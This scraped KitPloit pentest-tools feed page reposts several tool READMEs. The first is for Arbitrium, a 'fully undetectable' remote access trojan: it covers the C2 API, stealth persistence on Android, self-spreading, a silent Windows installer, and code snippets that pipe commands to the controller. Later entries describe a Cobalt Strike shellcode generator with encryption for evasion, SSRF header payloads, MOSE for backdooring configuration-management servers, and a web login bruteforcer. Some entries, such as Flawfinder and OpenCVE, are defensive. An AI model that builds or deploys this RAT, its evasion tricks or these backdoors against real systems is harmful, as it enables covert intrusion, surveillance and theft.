Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

Arbitrium-RAT - A Cross-Platform, Fully Undetectable Remote Access Trojan, To Control Android, Windows And Linux

$
0
0


Arbitrium is a cross-platform is a remote access trojan (RAT), Fully UnDetectable (FUD), It allows you to control Android, Windows and Linux and doesn't require any firewall exceptions or port forwarding. It gives access to the local networks, you can use the targets as a HTTP proxy and access Router, discover local IPs and scan their ports. Includes modules like Mimikatz, new modules can easily be added. In addition, if Arbitrium is used with a DNS spoofing software is can spread autonomously between devices (#AutoSpread). Arbitrium is a project of multiple parts, the parts were built using Java, JS, C, Python, Cordova and VueJS.



Features:
  • FUD

The client uses simple tools which makes it completely undetectable, the trojan based on netcat mainly pipe TCP paquets to run the server's commands.

  • Firewall

Arbitrium doesn't require adding an exception to the firewall, or a port forwarding rule. The server is an API with endpoints that receives tasks for a specific target and others that the trojan periodically request to get the new instructions, the instructions can be a JavaScript file (the Android app is made using Cordova) or a Shell file to run in the terminal/CMD. Once the server receives a task for a device, the former schedule the task then it opens a child process where it waits for the trojan's response by listening to a dedicated ephemeral port. Therefore, the trojan doesn't need to listen to any port.

  • Battery optimization / StealthMode

Unlike with Stock Android, customizations like MIUI by Xiaomi, EMUI by Huawei or Samsung's Android Pie ignore the permissions/exceptions given to an app by the user. So if you try to run an Android's trojan in the background, the moment the app start running frequent or heavy (in some cases even lightweight) tasks (ex: sending http requests periodically) it will be killed no matter what permissions the user grants, ths OS completely ignores the current settings, dontkillmyapp.com is an known website dedicated for this particular issue.

The aforementioned issue was quite annoying while working on this project, after awhile I found that building a lightweight binary that keeps running the assigned tasks in the background while the MainActivity stand still just after launching the binary apears to bypass most the restrictions and actually even improve the performance of the App.

MainActivity receives a JS file from the server and uses ThreadPoolExecutor to initiate the binary without hanging for it to exit (More on this StealthMode/BatteryBypass).

  • Web interface

There is also a control panel, it's not a requirement but an extension, it's a simple VueJS webapp, a UI you can use to control the targets instead of directely sending requests to the API. The webapp is available here: Arbitrium WebApp


Requirements
  1. Android's client
Java ver ...
Cordova
Android SDK & NDK
  1. Windows/Linux client
Python3.6 (or newer)
PyInquirer
Winrar (Windows only)

Build

use setAPI_FQDN.sh first to set the server domain/IP in all files

Clone repo:

git clone https://github.com/BenChaliah/Arbitrium-RAT.git --recursive

  1. Android
$ cd ArbitriumClients/AndroidApp/ClientApp/
$ cordova build android
$ cd ../StealthMode/
$ make clean && make build

The binaries inside /libs are stripped, so it recommended to use these if you're not debuging.

  1. Windows
$ cd ArbitriumClients\WindowsApp
$ pyinstaller --onefile runFrame.py
$ copy Client_tools\toolbox.exe dist\
$ copy Client_tools\SFXAutoInstaller.conf dist\
$ copy Client_tools\start_script.vbs dist\
$ cd dist
$ {Rar_abspath} a -r -cfg -sfx -z"SFXAutoInstaller.conf" Standalone.exe

Components
  1. Server API

The binaries built for Android should be put inside /assets (rename them to binary_{cpuabi}) and the APK will download them, but if you wish to put them inside the APK just make sure to extract them inside the App data folder /data/data/package_name or create a symbolic link inside it window.MyOrangePlugin.exec("/system/bin/ln -s ...

$ pip install flask flask_cors && ./runserver.sh # Python2.7

├── runserver.sh
├── main.py
├── reverse_http.py
├── initProxy.py

├── assets (src: ArbitriumClients/AndroidApp/StealthMode)
│   ├── runFrame_arm64-v8a
│   ├── toolbox_arm64-v8a
│   ├── ... (x86, x86_64, armeabi-v7a)


├── JS_scripts
│   ├── checkupdate.js
│   ├── init.js
│   ├── runshell.js
│   └── StealthMode.js

├── misc

├── modules
│   ├── discover.py
│   ├── mimikatz.py
│&#160 ;  ├── ports.py
│   └── runCMD.py

└── threads

Endpoints

The response of the API may differ depending on the platform of the device from which the trojan operate. the following part explores mainly the case of Android, because it's the most sophisticated due to the OS's restrictions.
  • [GET] /checkupdate.js

When the client sends its first request to the endpoint /checkupdate.js, the server create a genShell's object, which sets a unique local port for that device self.lport = self.setPort() and a thread id self.threaduid = random.randint in addition to other attributes. Then returns the appropriate JavaScript code (depending on the CPU/ABI) that will contain instructions to download, chmod and execute (main thread, or poolexec) some resources. As for the following requests it returns a JS code that will execute the pending tasks if there are any.

runCMD is a method of genShell that write the shell script we want the trojan to run into a file inside /assets to be downloaded later by the client, then uses netcat to listen for the response and pipe it into a file inside /threads

Example: Let say you want to use the target as a HTTP proxy, the API formulate the request as the following cmd:

echo -e "GET / HTTP/1.1\r\nHost: 192.168.1.1\r\nConnection: close\r\n\r\n" | {abspath_toolbox/ncat} {API_HOST_IP} {lport} -w 10;\r\n

then save it into assets/runsh_{uid_task}.sh, then depending whether the request came from StealthMode/BatteryBypass or not, /checkupdate.js gets the trojan to download the shell file and run it.

>>> Popen("exec $(nc -l 0.0.0.0 -p {lport} -dN > {task_filename})" shell=True, close_fds=True, ...)
  • [GET] /addtask

Using the appropriate token the admin can get a device to run a command via this endpoint, the server will describe this command as pending which will impact the next response of /checkupdate.js to that device. Then it'll return a random generated id for this task.

  • [GET] /pingtask

The combination of the task id generated by /addtask and the aforementioned thread id threaduid makes the name of the file inside /threads where the output of the command is saved. Once this endpoint is requested it checks whether /threads/{threaduid}x{taskid} exists, if so the server returns the content of the file otherwise it return 0.

  • [GET] /runproxy & /pushproxy

This will run reverse_http.py in a separate screen, then returns a IP:PORT (HTTP proxy), that will allow the admin to pivote HTTP requests through the trojan device. For instance, if the Admin sets these info in the browser settings and try to open router port (Ex: http://192.16...), the browser will open the router web interface as if the admin was a part the target LAN.

  1. Client/Trojan (Android): The app is build using Cordova for its simplicity and support for cross-platform developpement. This app relays of two main parts


    1. netbolt-orange-plugin:

      this is a cordova plugin I made, it contains few functions that we can call from index.html, scripts downloaded via /checkupdate.js mainly use these methods to run the assigned task

         + exec() : execute shell cmd then returns the cmd output, it runs on the UI thread

         + poolexec() : same as 'exec()', but this one uses the ThreadPoolExecutor so the App can run a cmd without blocking the main thread, when the output is ready, it sent via a callback with the exit status

         + download() : this one is for downloading whatever resources the API or the admin may want or need to execute a task

    Example: The trojan at first requests /checkupdate.js, let assumes this is an Android phone and we want to initiate the StealthMode/BatteryBypass to avoid getting killed (Battery optimizations ...), the API then responde with something like:

    function sfunc1(){
    window.MyOrangePlugin.download([{Link for ELF} ...], function(res){
    sfunc2(...);
    });
    }
    function sfunc2(...){
    window.MyOrangePlugin.exec("chmod ... ", function(res){
    sfunc3(...);
    });
    }
    function sfunc3(...){
    window.MyOrangePlugin.poolexec({Here we start the binary the will keep interacting with the API}, function(res){
    ...
    });
    }

    The app also uses a slightly customized version of Cordova background mode plugin.


    1. StealthMode:

         + runFrame.c : This is a simple C program that sends HTTP requests every few seconds to the API through a socket, saves the response to a shell file then makes a system call to run it.

         + toolbox.c : This is a standalone netcat

    The resulting binaries are statically linked to ensure stability and path independance. The importance of using runFrame instead of just running a JS loop in index.html doesn't only stop at the Battery issues explained previously but also for performance reasons. The app with this mode uses much less resources and is more reliable.

    The frequency of the requests is by default set at 5s, but it can be manipulated by the API (the server automatically makes runFrame slow down when there are no scheduled cmds by giving it sleep 30 as a response), therefore, when the admin is controling a device or using it as a proxy a number of tasks will be schedules and the delay between each won't be significant, otherwise we don't want the client to keep sending frequent requests which would make it noticeable and resource consuming.

    the API recognize whether the requests are coming from this mode from the User-Agent: JustKidding, so the responses to /checkupdate.js be compatible. Also the HTTP requests are only made while the phone is connected to Wlan, and there are two main reasons for that, the first is data mobile consumption which the OS will stop, the second is the autonomous spread capability (#AutoSpread)
    // void bzero(void *s, size_t n);
    #define bzero(s, n) memset((s), 0, (n))
    ...
    strcat(reque, "&token=updated HTTP/1.1\r\nHost: {API_Host}\r\nUser-Agent: JustKidding\r\nConnection: close\r\n\r\n");
    char *routing = "ip route | grep wlan";
    ...
    while (1){
    routingSTAT = system(routing);
    // grep exit status will only equal 0 if a wlan interface was listed
    if (routingSTAT==0){
    fd = socket_connect(argv[1], atoi(argv[2]));
    write(fd, reque, strlen(reque));
    bzero(buffer, BUFFER_SIZE);
    ...
    }
  2. Client/Trojan (Windows/Linux): Unlike in the case of android here a simple python script will do. In addition, Windows version is equiped with a VBA script and SFX to make a silent autoinstaller, the trojan will be just a standalone executable that runs in the background after extracting its content inside %TEMP%.


Screenshots
  1. HTTP proxy:
  2. Powershell:
  3. Port scanner:



CSSG - Cobalt Strike Shellcode Generator

$
0
0


Adds Shellcode - Shellcode Generator to the Cobalt Strike top menu bar


CSSG is an aggressor and python script used to more easily generate and format beacon shellcode

Generates beacon stageless shellcode with exposed exit method, additional formatting, encryption, encoding, compression, multiline output, etc

shellcode transforms are generally performed in descending menu order


Requirements:
The optional AES encryption option uses a python script in the /assets folder
Depends on the pycryptodome package to be installed to perform the AES encryption

Install pycryptodome with pip depending on your python environment:

python -m pip install pycryptodome
python3 -m pip install pycryptodome
py -3 -m pip install pycryptodome
py -2 -m pip install pycryptodome

You can check that pycryptodome is present after the pip install with a command like:

python -m pip list | grep crypto

The generator will use the system's default "python" command to launch the AES encryption script


Options for the shellcode generator are:

Listener:
Select a valid listener with the "..." button. Shellcode will be generated form this listener selection

Delivery:
Stageless (Staged not supported for the shellcode generator)

Exit Method:
process - exits the entire process that beacon is present in when the beacon is closed
thread - exits only the thread in which beacon is running when the beacon is closed

Local Shellcode Checkbox:
May use if you are going to execute the shellcode from an existing Beacon
Generates a Beacon shellcode payload that inherits key function pointers from a same-arch parent Beacon

Existing Session:
The parent Beacon session where the shellcode will pull session metadata
Shellcode should be run from within this Beacon session

x86 Checkbox:
Check to generate x86 shellcode, x64 is generated by default

Or Use Shellcode File:
Use an externally generated raw shellcode file in lieu of generating Beacon shellcode
This allows you to use previously exported shellcode files or output from other tools (Donut, msfvenom, etc)

Formatting:
raw - raw binary shellcode output, no formatting applied
hex - hex formatted shellcode output
0x90,0x90,0x90 - shellcode formatted into a C# style byte array
\x90\x90\x90 - shellcode formatted into a C\C++ style byte array
b64 - option to base64 encode the shellcode early in the generation process (before any encryption)

XOR Encrypt Shellcode Checkbox:
Check to XOR encrypt the shellcode (only one encryption type can be selected at a time)

XOR Key(s):
Randomly generated and editable XOR key character(s) to use for encryption
Multiple characters will result in multiple rounds of XOR encryption (i.e. ABCD)

AES Encrypt Shellcode Checkbox:
Check to AES encrypt the shellcode (only one encryption type can be selected at a time)
Uses a python script to perform AES Block Cipher AES-CBC encryption
Shellcode is padded with \0 values to reach block size requirements
A randomly generated IV is prepended to the encrypted shellcode data

AES Key:
Randomly generated and editable AES key to use for encryption
32byte key is generated and preferred for 256bit encryption strength
Encryption key byte lengths accepted are 16, 24, and 32

Encoding/Compression:
none - No additional encoding or compression is done to the shellcode
b64 - base64 encode the shellcode
gzip then b64 - gzip compress then base64 the shellcode
gzip - gzip compress the shellcode
b64 then gzip - base64 then gzip compress the shellcode

Multiline Output:
Can be used for non-raw/binary output formats
none - no multiline formatting, shellcode is one long string
quoted - Shellcode is broken up into lines surround by quotation marks
chunks.push_back - Shellcode is broken up into lines surrounded by chunks.push_back(" and ");

Multiline Length:
Number of shellcode characters in each line if a multiline output option is selected

Generate Button:
Select directory for shellcode output
Defalut filename will be beacon but can be changed
Any encryption key used will be displayed in a popup and also written the Cobalt Strike Script Console
The byte size of the raw beacon shellcode and final formatted beacon shellcode will be displayed in a popup and also written to the Script Console
Location of files used to generate/build the shellcode are set the .cs file


Inspired by previous work of @offsec_ginger https://github.com/offsecginger/AggressorScripts



SSRF-King - SSRF Plugin For Burp Automates SSRF Detection In All Of The Request

$
0
0


SSRF plugin for burp that Automates SSRF Detection in all of the Request


Upcoming Features Checklist
  • It will soon have a user Interface to specifiy your own call back payload
  • It will soon be able to test Json & XML
  • Test for SMTP SSRF

How to Install/Build
  • git clone https://github.com/ethicalhackingplayground/ssrf-king
  • gradle build
  • Now the file "ssrf-king.jar" could be found under build/libs which can then be imported Burpsuite.
  • Alternatively, goto releases to download the compiled file.

Features
  • Test all of the request for any external interactions.
  • Checks to see if any interactions are not the users IP if it is, it's an open redirect.
  • Alerts the user for any external interactions with information such as:
    • Endpoint Vulnerable
    • Host
    • Location Found

It also performs the following tests based on this research:

Reference:

https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface

GET http://burpcollab/some/endpoint HTTP/1.1
Host: example.com
...

and

GET @burpcollab/some/endpoint HTTP/1.1
Host: example.com
...

and

GET /some/endpoint HTTP/1.1
Host: example.com:80@burpcollab
...

and

GET /some/endpoint HTTP/1.1
Host: burpcollab
...

and

GET /some/endpoint HTTP/1.1
Host: example.com
X-Forwarded-Host: burpcollab
...

Scanning Options
  • Supports Both Passive & Active Scanning.

Example


  • Add it as an inscope host in burp.


  • Load the plugin.


  • Keep note of the Burp Collab Payload.


  • Passively crawl the page, ssrf-king test everything in the request on the fly.


  • When it finds a vulnerabilitiy it logs the information and adds an alert.


From here onwards you would fuzz the parameter to test for SSRF.



Video Demonstration

 



PSC - E2E Encryption For Multi-Hop Tty Sessions Or Portshells + TCP/UDP Port Forward

$
0
0


DNS lookup and SSH session forwarded across an UART connection to a Pi

PSC allows to e2e encrypt shell sessions, single- or multip-hop, being agnostic of the underlying transport, as long as it is reliable and can send/receive Base64 encoded data without modding/filtering. Along with the e2e pty that you receive (for example inside a portshell), you can forward TCP and UDP connections, similar to OpenSSH's -L parameter. This works transparently and without the need of an IP address assigned locally at the starting point. This allows forensicans and pentesters to create network connections for example via:

  • UART sessions to a device
  • adb shell sessions, if the OEM adbd doesn't support TCP forwarding
  • telnet sessions
  • modem dialups without ppp
  • other kinds of console logins
  • mixed SSH/telnet/modem sessions
  • ...

Just imagine you would have an invisible ppp session inside your shell session, without the remote peer actually supporting ppp.

It runs on Linux, Android, OSX, FreeBSD, NetBSD and (possibly) OpenBSD.

PSC also includes SOCKS4 and SOCKS5 proxy support in order to have actual web browsing sessions via portshells or modem dialups remotely.



Build

Edit the Makefile to reflect your pre shared keys, as defined at the top of the Makefile.

Then just type make on Linux.

On BSD, you need to install GNU make and invoke gmake instead.

On OSX, you need to install OpenSSL and declare the apropriate installation path inside the Makefile and type make.

On Linux, PSC will use Unix98 pseudo terminals, on other systems it will use POSIX pty's but that should be transparent to you. I once added 4.4BSD pty and SunOS support back in the stone age for a particular reason, so it may or may not build even with Solaris.


Usage

Plain and simple. On your local box, execute pscl, and pass any TCP or UDP ports you want to forward from the remote site to a particular address. For example:

linux:~ > ./pscl -T 1234:[192.168.0.254]:22 -U 1234:[8.8.8.8]:53

PortShellCrypter [pscl] v0.60 (C) 2006-2020 stealth -- github.com/stealth/psc

pscl: set up local TCP port 1234 to proxy to 192.168.0.254:22 @ remote.
pscl: set up local UDP port 1234 to proxy to 8.8.8.8:53 @ remote.

pscl: Waiting for [pscr] session to appear ...
linux:~ >

[ UART / SSH / ... login to remote side ... ]

On the remote site (the last hop) with the shell session, no matter if its in a portshell, SSH, console login etc, you execute pscr:

linux:~ > ./pscr

PortShellCrypter [pscr] v0.60 (C) 2006-2020 stealth -- github.com/stealth/psc


pscl: Seen STARTTLS sequence, enabling crypto.
linux:~ >

Once you execute pscr, both ends establish a crypto handshake and lay an additional protocol over your existing session that is transparent for you. You can then connect to 127.0.0.1:1234 on your local box to reach 192.168.0.254:22 via TCP or the 8.8.8.8resolver via UDP. This also works with [IPv6] addresses, if the remote site has IPv6 connectivity. Actually, you can even use it to translate IPv4 software to IPv6, since you always connect to 127.0.0.1 on the local side.

You can pass multiple -T and -U parameters. If you lost track if your session is already e2e encrypted, you can send a SIGUSR1 to the local pscl process, and it will tell you.

PSC is also useful if you want to use tor from a remote SSH shell, where you can forward the socks5 and the DNS port to the remote hosts 127.0.0.1 address. Since SSH does not forward UDP packets, you would normally use two socat connectors or similar to resolve via the tor node. PSC has the advantage of keeping the UDP datagram boundaries, while socat over SSH -L may break datagram boundaries and create malformed DNS requests.

The session will be encrypted with aes_256_ctr of a PSK that you choose in the Makefile. This crypto scheme is mallable, but adding AAD or OAD data blows up the packet size, where every byte counts since on interactive sessions and due to Base64 encoding, each typed character already causes much more data to be sent.

UART sessions may be used via screen but for example not via minicom since minicom will create invisible windows with status lines and acts like a filter that destroys PSC's protocol. PSC tries to detect filtering and can live with certain amout of data mangling, but in some situations it is not possible to recover. Similar thing with tmux. You should avoid stacking pty handlers with PSC that mess/handle their incoming data too much.


SOCKS4 and SOCKS5 support

pscl also supports forwarding of TCP connections via SOCKS4 (-4 port) and SOCKS5 (-5 port). This sets up port as SOCKS port for TCP connections, so for instance you can browse remote networks from a portshell session without the need to open any other connection during a pentest. For chrome, SOCKS4 must be used, as the PSC SOCKS implementation does not support resolving domain names on their own. Instead, it requires IPv4 or IPv6 addresses to be passed along. Since chrome will set the SOCKS5 protocol address type always to domain name (0x03) - even if an IP address is entered in the address bar - SOCKS5 is not usuable with chrome. But you can use chrome with SOCKS4, since this protocol only supports IPv4 addresses, not domain names.



OpenCVE - CVE Alerting Platform

$
0
0


OpenCVE, formerly known as Saucs, is a platform used to locally import the list of CVEs and perform searches on it (by vendors, products, CVSS, CWE...).

Users subscribe to vendors or products, and OpenCVE alerts them when a new CVE is created or when an update is done in an existing CVE.


How does it work

OpenCVE uses the JSON feed provided by the NVD to update the local list of CVEs.

After an initial import, a background task is regularly executed to synchronize the local copy with the NVD feed. If a new CVE is added, or if a change is detected, the subscribers of the related vendors and products are alerted.

For now the only method of notification is the mail, but we plan to add other integrations (webhooks, Slack, Jira, PagerDuty, OpsGenie...).


Requirements

OpenCVE works with Python >=3.6.

It uses the JSONB feature for performance, so you will need a PostgreSQL instance to store the data (CVE, Users, Vendors, Products, Subscriptions, ...). Other engines are not supported.

Celery is used to periodically fetch the NVD database and update the list of CVEs. For that you will need a broker : we recommend you Redis for the ease of installation. Futhermore it is possible that future versions of OpenCVE will use a cache feature, in that case the Redis requirement will already be filled for you.

During the import of initial data OpenCVE will download and parse huge files, like the CPE dictionnary. For that we recommend you 3.5G RAM at least.


Installation

OpenCVE can simply be installed using pip :

$ pip install opencve

Configuration file

The first step is to create the configuration file. You can do it with the init command :

$ opencve init
[*] Configuration created in /Users/ncrocfer/opencve/opencve.cfg

Note: a custom path can be specified in the OPENCVE_CONFIG environment variable.


Initialize the database

The database can be configured using the database_uri variable of the opencve.cfg file. Once done the upgrade-db command will create all the tables :

$ opencve upgrade-db

Note: because it uses the JSONB feature for performance, OpenCVE only supports PostgreSQL.


Import the data

The database is now created, we need to populate it using the import-data command :

$ opencve import-data

This command can take several minutes, mainly for the list of vendors and products (around 10mn), so be patient :) But don't worry you will only do it once.


Start the workers

The synchronization between the OpenCVE database and the CVE list is done using a periodic Celery task.

A worker and the scheduler must be started for that (don't forget to configure the Celery configuration in the opencve.cfg file) :

$ opencve celery worker -l INFO
$ opencve celery beat -l INFO

Create an admin
$ opencve create-user john john.doe@example.com --admin
Password:
Repeat for confirmation:
[*] User john created.

Start the webserver

You can finally launch the webserver and visit OpenCVE at localhost:8000 :

$ opencve webserver
[2020-07-14 20:38:06 +0200] [16032] [INFO] Starting gunicorn 20.0.4
[2020-07-14 20:38:06 +0200] [16032] [INFO] Listening at: http://127.0.0.1:8000 (16032)
[2020-07-14 20:38:06 +0200] [16032] [INFO] Using worker: sync
[2020-07-14 20:38:06 +0200] [16040] [INFO] Booting worker with pid: 16040

Note: the server name can be configured in the opencve.cfg file with the server_name variable.


Screenshots







MOSE - Post Exploitation Tool For Configuration Management Servers.

$
0
0

MOSE is a post exploitation tool that enables security professionals with little or no experience with configuration management (CM) technologies to leverage them to compromise environments. CM tools, such as Puppet, Chef, Salt, and Ansible are used to provision systems in a uniform manner based on their function in a network. Upon successfully compromising a CM server, an attacker can use these tools to run commands on any and all systems that are in the CM server’s inventory. However, if the attacker does not have experience with these types of tools, there can be a very time-consuming learning curve. MOSE allows an operator to specify what they want to run without having to get bogged down in the details of how to write code specific to a proprietary CM tool. It also automatically incorporates the desired commands into existing code on the system, removing that burden from the user. MOSE allows the operator to choose which assets they want to target within the scope of the server’s inventory, whether this is a subset of clients or all clients. This is useful for targeting specific assets such as web servers or choosing to take over all of the systems in the CM server’s inventory.


MOSE + Puppet



Mose + Chef



Dependencies

You must download and install the following for MOSE to work:

  • Golang - tested with 1.12.7 through 1.15.2

Be sure to properly set your GOROOT, PATH and GOPATH env vars

  • Docker - tested with 18.09.2 through 19.03.12

Getting started

Grab the code without having to clone the repo:

go get -u -v github.com/master-of-servers/mose

Install all go-specific dependencies and build the binary (be sure to cd into the repo before running this):

make build

Usage
Usage:
github.com/master-of-servers/mose [command]

Available Commands:
ansible Create MOSE payload for ansible
chef Create MOSE payload for chef
help Help about any command
puppet Create MOSE payload for puppet
salt Create MOSE payload for salt

Flags:
--basedir string Location of payloads output by mose (default "/Users/l/programs/go/src/github.com/master-of-servers/mose")
-c, --cmd string Command to run on the targets
--config string config file (default is $PWD/.settings.yaml)
--debug Display debug output
--exfilport int Port used to exfil data from chef server (default 9090, 443 with SSL) (default 9090)
-f, --filepath string Output binary locally at <filepath>
-u, --fileupload string File upload option
-h, --help help for github.com/master-of-servers/mose
-l, --localip string Local IP Address
--nocolor Disable colors for mose
-a, --osarch string Architecture that the target CM tool is running on
-o, --ostarget string Operating system that the target CM server is on (default "linux")
-m, --payloadname string Name for backdoor payload (default "my_cmd")
--payloads string Location of payloads output by mose (default "/Users/l/programs/go/src/github.com/master-of-servers/mose/payloads")
--remoteuploadpath string Remote file path to upload a script to (used in conjunction with -fu) (default "/root/.definitelynotevil")
-r, --rhost string Set the remote host for /etc/hosts in the chef workstation container (format is hostname:ip)
--ssl Serve payload over TLS
--tts int Number of seconds to serve the payload (default 60)
--websrvport int Port used to serve payloads (default 8090, 443 with SSL) (default 8090)

Use "github.com/master-of-servers/mose [command] --help" for more information about a command.

TLS Certificates

You should generate and use a TLS certificate signed by a trusted Certificate Authority

A self-signed certificate and key are provided for you, although you really shouldn't use them. This key and certificate are widely distributed, so you can not expect privacy if you do choose to use them. They can be found in the data directory.


Examples

You can find some examples of how to run MOSE in EXAMPLES.md.


Test Labs

Test labs that can be run with MOSE are at these locations:


Credits

The following resources were used to help motivate the creation of this project:



Web-Brutator - Modular Web Interfaces Bruteforcer

$
0
0


Fast Modular Web Interfaces Bruteforcer


Install
python3 -m pip install -r requirements.txt

Usage
$ python3 web-brutator.py -h

__ __ ___. __________ __ __
/ \ / \ ____\_ |__ \______ \_______ __ ___/ |______ _/ |_ ___________
\ \/\/ // __ \| __ \ ______ | | _/\_ __ \ | \ __\__ \ __\ / _ \_ _ _\
\ /\ ___/| \_\ \ /_____/ | | \ | | \/ | /| | / __ \| | ( <_> ) | \/
\__/\ / \___ >___ / |______ / |__| |____/ |__| (____ /__| \____/|__|
\/ \/ \/ \/ \/
Version 0.2

usage: web-brutator.py [-h] [--url URL] [--target TYPE] [-u USERNAME]
[-U USERLIST] [-p PASSWORD] [-P PASSLIST]
[-C COMBOLIST] [-t THREADS] [-s] [-v] [-e MAX_ERRORS]
[--timeout TIMEOUT] [-l]

op tional arguments:
-h, --help show this help message and exit
--url URL Target URL
--target TYPE Target type
-u, --username USERNAME Single username
-U, --userlist USERLIST Usernames list
-p, --password PASSWORD Single password
-P, --passlist PASSLIST Passwords list
-C, --combolist COMBOLIST Combos username:password list
-t, --threads THREADS Number of threads [1-50] (default: 10)
-s, --stoponsuccess Stop on success
-v, --verbose Print every tested creds
-e, --max-errors MAX_ERRORS Number of accepted consecutive errors (default: 10)
--timeout TIMEOUT Time limit on the response (default: 20s)
-l, - -list-modules Display list of modules

Example:

python3 web-brutator.py --target jenkins --url https://mytarget.com -U ./usernames.txt -P ./passwords.txt -s -t 40

Available Modules
  • axis2
  • coldfusion
  • glassfish
  • htaccess
  • jboss
  • jenkins
  • joomla
  • railo
  • standardform
  • tomcat
  • weblogic
  • websphere

Notice: Some products implement account lockout after a given number of failed authentication attempts, by default (e.g. Weblogic, Tomcat...). web-brutator notices the user at the beginning of bruteforce attack it is the case. Take this into account before launching bruteforce on such targets.


Standard Web Authentication Form Auto-Detection

web-brutator can automatically detect standard web authentication forms and perform bruteforce automatically. This feature is available via the module standardform, it is still experimental and can lead to false positives/negatives since it is based on several heuristics.

Not supported:

  • Web authentication using Javascript;
  • Authentication with CAPTCHA;
  • 2-step authentication ...

Example:

python3 web-brutator.py --target standardform --url https://mytarget.com -U ./usernames.txt -P ./passwords.txt -s -t 40 -v



Add Module / Contribute

Adding a new authentication bruteforce module is pretty straightforward:

  1. Create a new file with appropriate name under lib/core/modules/
  2. Create a class in this file, using the following template. Development is very easy, check any existing module under lib/core/modules/ for some examples. Note that HTTP requests should be done via the static methods provided by Requester class: Requester.get(), Requester.post(), Requester.http_auth().
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from lib.core.Exceptions import AuthException, RequestException
from lib.core.Logger import logger
from lib.core.Requester import AuthMode, Requester


class Mymodule:

def __init__(self, url, verbose=False):
self.url = url
# Other self variables can go here


def check(self):
"""
This method is used to detect the presence of the targeted authentication
interface.
:return: Boolean indicating if the authentication interface has been detected
"""
# Implement code here


def try_auth(self, username, password):
"""
This method is used to perform one authentication attempt.
:param str username: Username to check
:param str password: Password to check
:return: Boolean indicating authentication status
:raise AuthException:
" ""
# Implement code here

  1. Module is then automatically available (check using -l option) from the command-line.
  2. Test the module to make sure it is working as expected !
  3. Make a pull request to add the module to the project ;)


Flawfinder - A Static Analysis Tool For Finding Vulnerabilities In C/C++ Source Code

$
0
0


This is "flawfinder" by David A. Wheeler.

Flawfinder is a simple program that scans C/C++ source code and reports potential security flaws. It can be a useful tool for examining software for vulnerabilities, and it can also serve as a simple introduction to static source code analysis tools more generally. It is designed to be easy to install and use. Flawfinder supports the Common Weakness Enumeration (CWE) and is officially CWE-Compatible.

For more information, see the project website


Platforms

Flawfinder is designed for use on Unix/Linux/POSIX systems (including Cygwin, Linux-based systems, MacOS, and various BSDs) as a command line tool. It requires either Python 2.7 or Python 3.


Installation

If you just want to use it, you can install flawfinder with Python's "pip" or with your system's package manager (flawfinder has packages for many systems). It also supports easy installation following usual make install source installation conventions. The file INSTALL.md has more detailed installation instructions. You don't HAVE to install it to run it, but it's easiest that way.


Usage

To run flawfinder, just give it a list of source files or directories to example. For example, to examine all files in "src/" and down recursively:

flawfinder src/

To examine all files in the current directory and down recursively:

flawfinder ./

Hits (findings) are given a risk level from 0 (very low risk) to 5 (high risk), By default, findings of risk level 1 or higher are shown. You can show only the hits of risk level 4 or higher in the current directory and down this way:

flawfinder --minlevel 4 ./

The manual page (flawfinder.1 or flawfinder.pdf) describes how to use flawfinder (including its various options) and related information (such as how it supports CWE). For example, the --html option generates output in HTML format. The --help option gives a brief list of options.


Character Encoding Errors

Flawfinder must be able to correctly interpret your source code's character encoding. In the vast majority of cases this is not a problem, especially if the source code is correctly encoded using UTF-8 and your system is configured to use UTF-8 (the most common situation by far).

However, it's possible for flawfinder to halt if there is a character encoding problem and you're running Python3. The usual symptom is error meesages like this: Error: encoding error in FILENAME 'ENCODING' codec can't decode byte ... in position ...: invalid start byte

Unfortunately, Python3 fails to provide useful built-ins to deal with this. Thus, it's non-trivial to deal with this problem without depending on external libraries (which we're trying to avoid).

If you have this problem, see the flawfinder manual page for a collection of various solutions. One of the simplest is to simply convert the source code and system configuration to UTF-8. You can convert source code to UTF-8 using tools such as the system tool iconv or the Python program cvt2utf; you can install cvt2utf using pip install cvt2utf.


Under the hood

More technically, flawfinder uses lexical scanning to find tokens (such as function names) that suggest likely vulnerabilities, estimates their level of risk (e.g., by the text of function calls), and reports the results. Flawfinder does not use or have access to information about control flow, data flow, or data types. Thus, flawfinder will necessarily produce many false positives for vulnerabilities and fail to report many vulnerabilities. On the other hand, flawfinder can find vulnerabilities in programs that cannot be built or cannot be linked. Flawfinder also doesn't get as confused by macro definitions and other oddities that more sophisticated tools have trouble with.


Contributions

We love contributions! For more information on contributing, see the file CONTRIBUTING.md.




BurpMetaFinder - Burp Suite Extension For Extracting Metadata From Files

$
0
0


Burp Suite extension for extracting metadata from files Currently supported documents:

  • PDF
  • DOCX
  • PPTX
  • XLSX

The project created at Jetbrains has been completely added. Don't forget to change the settings you need.


Usage

You need to dowload 2 external libraries:

To install the extension in BurpSuite, go to Extensions > Options and configure the Java Environment with the path where you save the libraries in .jar.

Finally, add to BurpSuite the .jar file located in the out/artifacts/BurpExtensionMetaFinder_jar folder. You should get a success message.


Output example

When you browse a URL that contains a pdf or docx you will see in the Dashboard something like the following:

Note: This issue was generated by the Burp extension: MetaFinder.
Issue detail

Metadata found in file: xxxx.pdf
* Author: root
* Creator: Adobe InDesign 15.0 (Macintosh)
* Producer: Adobe PDF Library 15.0

The results will depend on the metadata of the documents found.


Author

This project has been developed by:


Disclaimer!

This Software is a simple POC. You are free to improve it, redo it or whatever you want. Don't forget to link the original source.



Uroboros - A GNU/Linux Monitoring And Profiling Tool Focused On Single Processes

$
0
0

Uroboros is a GNU/Linux monitoring tool focused on single processes.

While utilities like top, ps and htop provide great overall details, they often lack useful temporal representation for specific processes, such visual representation of the process data points can be used to profile, debug and generally monitor its good health. There are tools like psrecord that can record some of the activity of a process, but some graphical server is required for rendering, and it's neither complete nor realtime.


Uroboros aims to fill this gap by providing a single tool to record, replay and render in realtime process runtime information in the terminal, without affecting the process performances like more invasive ptrace based solutions would do.

Work in progress


Usage

For the moment there are no binary releases and building from sources is the only way (requires the go compiler, will install the binary in $GOPATH/bin):

# make sure go modules are used
GO111MODULE=on go get github.com/evilsocket/uroboros/cmd/uro

To monitor by pid:

sudo uro -pid 1234

To search by process name:

sudo uro -search test-process

Only show a subset of tabs:

sudo uro -pid 1234 -tabs "cpu, mem, io"

To save a recording on disk:

sudo uro -pid 1234 -record /tmp/process-activity.dat

To play a recording from disk (works on any OS and does not require sudo):

uro -replay /tmp/process-activity.dat

For more options:

uro -help

Keybindings
KeyAction
